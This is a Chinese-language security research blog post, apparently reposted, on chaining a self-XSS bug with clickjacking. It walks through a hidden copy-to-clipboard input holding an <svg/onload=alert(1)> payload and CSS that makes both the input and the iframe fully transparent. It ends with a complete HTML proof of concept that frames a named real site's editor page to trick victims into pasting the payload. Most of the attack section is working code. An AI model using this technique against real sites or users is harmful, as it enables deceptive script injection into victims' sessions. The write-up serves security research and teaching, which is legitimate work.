組合拳出擊-Self型XSS變廢為寶


前言

作者:米斯特安全攻防實驗室-Vulkey_Chen

博客:gh0st.cn

這是一個雞肋性質的研究,也許有些標題黨,請見諒~

本文啟發於一些討論,和自己腦子里冒出來的想法。

組合拳搭配

Self型XSS

已知Self型XSS漏洞是這樣的:

相信看見圖片基本上已經知道這個漏洞形成的原因了,該功能點有一個編輯預覽的,輸入XSS的payload就觸發。

局限點在於這個漏洞是Self型(Myself),也就是只能自己輸入->自己觸發漏洞。

變換思考

重新理一下這個漏洞觸發的流程:

1.輸入XSS payload:

<svg/onload=alert(1)>

2.觸發

那么是否也可以理解為這樣的一個觸發流程:

1.XSS payload就在剪貼板中

2.黏貼到文本框

3.觸發

也就是說在這里我只需要沿着這個流程向下拓展,是否可以讓我變換的觸發流程文字變成代碼形式。

順推流程

觸發流程順推為攻擊流程:

1.誘導受害者點開連接

2.誘導受害者點擊復制按鈕

3.誘導受害者黏貼剪貼板的內容

4.順利觸發XSS漏洞

這一切的攻擊流程看起來可操作性並不強,但實際上還是會有很多人中招。

搭配誰?

以上的攻擊流程都需要在同一個頁面中觸發,那么就需要一個點擊劫持的配合。

“上天總是眷顧長得帥的人”,在這里確實也存在着點擊劫持的問題:

代碼思考&構建

復制功能

按流程來構建,首先構建復制到剪貼板的功能:

JavaScript有這樣的功能,代碼如下,自行 ”食“ 用:

<script type="text/javascript"> function cpy(){         var content=document.getElementById("test");//獲取id為test的對象         content.select();//全選內容         document.execCommand("Copy");//執行復制命令到剪貼板 } </script>

HTML代碼如下:

<input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test">

界面如下:

問題:

雖然作為一個PoC來說,不需要那么苛刻的要求PoC的嚴謹性,但這里處於研究探索的目的還是需要解決問題,如果input標簽的內容顯示出來,那么就很容易暴露本身的攻擊。

針對這類問題一開始我想到的是使用hidden屬性構建為如下的HTML代碼:

<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test">

經過測試發現並不能成功的使用復制功能,我的理解是因為在JavaScript代碼中有這樣一段內容:

...
content.select();//全選內容 ...

既然是全選內容那么一定要有這樣一個編輯框或者輸入框的存在,所以使用Hidden從實際意義上是沒有這樣一個”框“的。

解決問題:

在這里我選擇使用透明樣式來從”視覺上隱藏“標簽:

<style type="text/css"> #test { /*css id選擇器*/     /*控制不透明度的屬性,兼容各大瀏覽器*/     filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/     -moz-opacity: 0; /*提供給火狐瀏覽器的*/     -webkit-opacity: 0; /*提供給webkit內核的*/     -khtml-opacity: 0; /*提供給KHTML內核的*/     -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/     opacity: 0;     /*控制不透明度的屬性,兼容各大瀏覽器*/ } </style>

那么界面就變成如下的樣子了:

注意:這里沒辦法使用自動復制到剪貼板,必須需要一個按鈕才行

點擊劫持

點擊劫持之前寫過一篇文章,所以就不在做講解了,參考我之前寫的一篇文章:http://gh0st.cn/archives/2017-12-20/1

構建基本CSS樣式:

.testframe {         height: 100%; } iframe {         height: 100%;         width: 100%;         border: 0;         margin: 0;         padding: 0;     /*控制不透明度的屬性,兼容各大瀏覽器*/     filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/     -moz-opacity: 0; /*提供給火狐瀏覽器的*/     -webkit-opacity: 0; /*提供給webkit內核的*/     -khtml-opacity: 0; /*提供給KHTML內核的*/     -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/     opacity: 0;     /*控制不透明度的屬性,兼容各大瀏覽器*/ } #submit {     position: fixed;     width: 614px;     height: 30px;     margin: 0 auto;     left: 0;     right: 550px;     display: block;     top: 640px; }

iframe框架&&輸入框:

<div class="testframe">     <iframe src="https://website/New"></iframe>     <input type="text" id="submit"> </div>

最終PoC

<html> <head> <style type="text/css"> .testframe {         height: 100%; } iframe {         height: 100%;         width: 100%;         border: 0;         margin: 0;         padding: 0;     /*控制不透明度的屬性,兼容各大瀏覽器*/     filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/     -moz-opacity: 0; /*提供給火狐瀏覽器的*/     -webkit-opacity: 0; /*提供給webkit內核的*/     -khtml-opacity: 0; /*提供給KHTML內核的*/     -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/     opacity: 0;     /*控制不透明度的屬性,兼容各大瀏覽器*/ } #test {     /*控制不透明度的屬性,兼容各大瀏覽器*/     filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/     -moz-opacity: 0; /*提供給火狐瀏覽器的*/     -webkit-opacity: 0; /*提供給webkit內核的*/     -khtml-opacity: 0; /*提供給KHTML內核的*/     -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之后的*/     opacity: 0;     /*控制不透明度的屬性,兼容各大瀏覽器*/ } #submit {     position: fixed;     width: 614px;     height: 30px;     margin: 0 auto;     left: 0;     right: 550px;     display: block;     top: 640px; } </style> </head> <body> <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test"> <div class="testframe">     <input type="text" id="submit">         <iframe id="test0" src="https://secquan.org/New"></iframe> </div> <script type="text/javascript"> function cpy(){     var content=document.getElementById("test");     content.select();     document.execCommand("Copy"); } </script> </body> </html>

最終演示

總結

比較打開腦洞的一次研究,苛刻的攻擊條件其實在進行足夠的豐富誘導下就會變得非常的有趣。

大家有任何問題可以提問,更多文章可到i春秋論壇閱讀喲~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM